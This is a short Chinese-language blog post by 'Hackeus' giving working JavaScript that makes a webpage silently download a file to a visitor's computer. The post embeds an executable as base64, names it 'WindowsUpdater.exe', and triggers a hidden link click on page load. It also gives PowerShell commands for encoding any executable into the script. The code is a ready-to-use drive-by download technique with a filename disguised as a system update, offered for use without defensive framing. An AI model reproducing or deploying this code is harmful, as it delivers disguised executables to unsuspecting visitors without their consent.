通过JavaScript让网页访客后台自动下载文件

通过JavaScript让网页访客后台自动下载文件

Hackeus
2022-10-11 / 0 评论 / 129 阅读 / 正在检测是否收录...

前言:

你是否曾经在浏览网页的时候,突然弹出一个窗口不需要你的点击,然后一个文件自动下载到你的电脑上?想不想知道这是怎么做到的,其实只需要一段JavaScript就可以实现后台自动下载文件。

JavaScript代码

<script>
    filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
    filedata = ""//这里需要填文件数据
    //如何生成文件数据?
    //我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:WindowsSystem32calc.exe'
    //模板
    //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
    //譬如我们这里想获取计算器程序的data
    //$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:WindowsSystem32calc.exe'))
    //我们可以继续输入
    //$base64string | Out-File temporary.log
    //之后我们打开这个文件
    //code .temporary.log
    //之后将这个文件数据复制到上方的filedata=""中

    function base64tobytes(b64data){
        var binary_values = atob(b64data);
        var binary_length = binary_values.length
        var bytes_data = new Uint8Array(binary_length);

        for ( var i = 0 ; i < binary_length ; i++ ){
            bytes_data[i] = binary_values.charCodeAt(i);
        }

        return bytes_data.buffer;
    }

    var filebytes = base64tobytes(filedata);

    var blob = new Blob([filebytes],{"type":"octet/stream"});
    var anchor = document.createElement("a")
    document.body.append(anchor);
    anchor.style = "display:none;";

    var url = window.URL.createObjectURL(blob)
    anchor.href = url;
    anchor.download = filename;

    anchor.click();
    window.URL.revokeObjectURL(url);

</script>
0

评论

博主关闭了所有页面的评论